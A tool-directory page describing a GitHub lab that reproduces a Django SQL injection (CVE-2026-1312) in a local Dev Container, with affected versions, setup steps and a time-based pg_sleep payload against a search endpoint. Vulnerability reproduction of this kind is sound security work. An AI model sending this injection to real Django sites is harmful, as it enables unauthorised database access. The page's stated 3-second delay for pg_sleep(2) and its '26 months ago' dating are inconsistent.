Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-1312 — Reproduces CVE-2026-1312, a Django SQL injection vulnerability, with a Dockerized environment and step-by-step PoC for security testing. | Kitploit
Tools/GitHubGitHub/sw0rd1ight/cve-2026-1312
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubsw0rd1ight/cve-2026-1312

CVE-2026-1312

Reproduces CVE-2026-1312, a Django SQL injection vulnerability, with a Dockerized environment and step-by-step PoC for security testing.

View Repository
26 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-1312 is a high-severity Django SQL injection vulnerability: when a column alias containing a dot is used in QuerySet.order_by(), combined with FilteredRelation dynamically constructing queries via dictionary expansion, an attacker may be able to inject malicious SQL

Affected versions:

  • Versions prior to 6.0.2 in the Django 6.0 branch
  • Versions prior to 5.2.11 in the Django 5.2 branch
  • Versions prior to 4.2.28 in the Django 4.2 branch

Environment Setup

This vulnerability project is built using VS Code's Dev Container.

1️⃣ Open the project Open the existing project root directory (containing the .devcontainer folder) with VS Code.

2️⃣ Reopen the container (build the Dev Container)

Press Ctrl+Shift+P (Windows/Linux) or Cmd+Shift+P (Mac)

Enter Remote-Containers: Reopen in Container

VS Code will read the .devcontainer configuration and build the container (the first build may take a few minutes)

⚠️ If the Dockerfile or dependencies have been updated, you can choose Remote-Containers: Rebuild Container to ensure the latest environment is used.

3️⃣ Run the Django development server

Open the command palette with Ctrl+Shift+P

Enter Tasks: Run Task

Select django:start (the task is already configured in .vscode/tasks.json)

This task will start the Django development server inside the container

It listens on 0.0.0.0:8086 by default

4️⃣ Open the browser and access the project

Open your browser and visit:

http://localhost:8086

5️⃣ Notes

First run:

You may need to run database migrations:

root@kitploit:~
python manage.py migrate

Vulnerability Reproduction

Access the /book/search endpoint, http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)

You will see a 3-second delay, confirming the vulnerability

At this point, the SQL compiled by the Django ORM at the underlying level is

root@kitploit:~
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC
Download Tool